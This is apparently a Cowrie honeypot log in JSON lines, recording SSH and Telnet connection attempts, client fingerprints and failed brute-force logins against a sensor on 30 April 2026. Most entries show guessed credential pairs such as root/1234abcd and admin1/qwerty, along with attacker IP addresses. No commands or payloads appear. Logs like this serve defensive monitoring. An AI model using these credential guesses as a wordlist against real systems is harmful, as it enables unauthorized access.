{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":40166,"dst_ip":"159.203.135.109","dst_port":22,"session":"6488665f8e87","protocol":"ssh","message":"New connection: 80.94.92.186:40166 (159.203.135.109:22) [session: 6488665f8e87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:54.029121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:54.242136Z","src_ip":"80.94.92.186","session":"6488665f8e87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:54.455099Z","src_ip":"80.94.92.186","session":"6488665f8e87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:55.492136Z","src_ip":"80.94.92.186","session":"6488665f8e87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:07:57.195186Z","src_ip":"80.94.92.186","session":"6488665f8e87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.178.210.53","src_port":5194,"dst_ip":"159.203.135.109","dst_port":23,"session":"35fca900a6d1","protocol":"telnet","message":"New connection: 223.178.210.53:5194 (159.203.135.109:23) [session: 35fca900a6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:13.510419Z"}
{"eventid":"cowrie.session.closed","duration":12.656865358352661,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:26.167193Z","src_ip":"223.178.210.53","session":"35fca900a6d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59340,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e737fd40b2","protocol":"ssh","message":"New connection: 159.203.92.129:59340 (159.203.135.109:22) [session: c0e737fd40b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:30.876263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:30.881556Z","src_ip":"159.203.92.129","session":"c0e737fd40b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:30.886606Z","src_ip":"159.203.92.129","session":"c0e737fd40b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TeamSpeack3","password":"TeamSpeack3","message":"login attempt [TeamSpeack3/TeamSpeack3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:30.899565Z","src_ip":"159.203.92.129","session":"c0e737fd40b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:31.910942Z","src_ip":"159.203.92.129","session":"c0e737fd40b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":51066,"dst_ip":"10.17.0.5","dst_port":22,"session":"92a32d4cb7c7","protocol":"ssh","message":"New connection: 210.183.21.53:51066 (10.17.0.5:22) [session: 92a32d4cb7c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:50.164666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:50.168805Z","src_ip":"210.183.21.53","session":"92a32d4cb7c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:50.367430Z","src_ip":"210.183.21.53","session":"92a32d4cb7c7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:51.194175Z","src_ip":"210.183.21.53","session":"92a32d4cb7c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:52.396696Z","src_ip":"210.183.21.53","session":"92a32d4cb7c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":59256,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9413d299c10","protocol":"ssh","message":"New connection: 221.139.88.149:59256 (159.203.135.109:22) [session: a9413d299c10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:54.404439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:54.439285Z","src_ip":"221.139.88.149","session":"a9413d299c10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:54.646129Z","src_ip":"221.139.88.149","session":"a9413d299c10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"qwerty","message":"login attempt [admin1/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:55.529282Z","src_ip":"221.139.88.149","session":"a9413d299c10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:08:56.727656Z","src_ip":"221.139.88.149","session":"a9413d299c10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39864,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1e16399b33f","protocol":"ssh","message":"New connection: 159.203.92.129:39864 (159.203.135.109:22) [session: f1e16399b33f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:13.666299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:13.670624Z","src_ip":"159.203.92.129","session":"f1e16399b33f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:13.674590Z","src_ip":"159.203.92.129","session":"f1e16399b33f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"TeamSpeak3","password":"TeamSpeak3","message":"login attempt [TeamSpeak3/TeamSpeak3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:13.685964Z","src_ip":"159.203.92.129","session":"f1e16399b33f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:14.693275Z","src_ip":"159.203.92.129","session":"f1e16399b33f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.105.247.252","src_port":15118,"dst_ip":"159.203.135.109","dst_port":23,"session":"99d57810c309","protocol":"telnet","message":"New connection: 184.105.247.252:15118 (159.203.135.109:23) [session: 99d57810c309]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:45.095945Z"}
{"eventid":"cowrie.session.closed","duration":2.076643228530884,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:47.172456Z","src_ip":"184.105.247.252","session":"99d57810c309","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":40010,"dst_ip":"10.17.0.5","dst_port":22,"session":"565dcab6a511","protocol":"ssh","message":"New connection: 210.183.21.53:40010 (10.17.0.5:22) [session: 565dcab6a511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:50.803890Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:50.810145Z","src_ip":"210.183.21.53","session":"565dcab6a511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:51.011060Z","src_ip":"210.183.21.53","session":"565dcab6a511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali1234","message":"login attempt [root/ali1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:51.834095Z","src_ip":"210.183.21.53","session":"565dcab6a511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:53.035429Z","src_ip":"210.183.21.53","session":"565dcab6a511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47800,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fe74e1a0881","protocol":"ssh","message":"New connection: 159.203.92.129:47800 (159.203.135.109:22) [session: 9fe74e1a0881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:55.888520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:55.894323Z","src_ip":"159.203.92.129","session":"9fe74e1a0881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:55.899929Z","src_ip":"159.203.92.129","session":"9fe74e1a0881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Test","password":"123456","message":"login attempt [Test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:55.915253Z","src_ip":"159.203.92.129","session":"9fe74e1a0881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:56.924361Z","src_ip":"159.203.92.129","session":"9fe74e1a0881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.39.56.4","src_port":38487,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9050451d196","protocol":"telnet","message":"New connection: 200.39.56.4:38487 (10.17.0.5:23) [session: a9050451d196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:09:57.522210Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33810,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc7b0b4e9838","protocol":"ssh","message":"New connection: 159.203.92.129:33810 (159.203.135.109:22) [session: bc7b0b4e9838]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:38.861296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:10:38.870308Z","src_ip":"159.203.92.129","session":"bc7b0b4e9838","protocol":"ssh"}
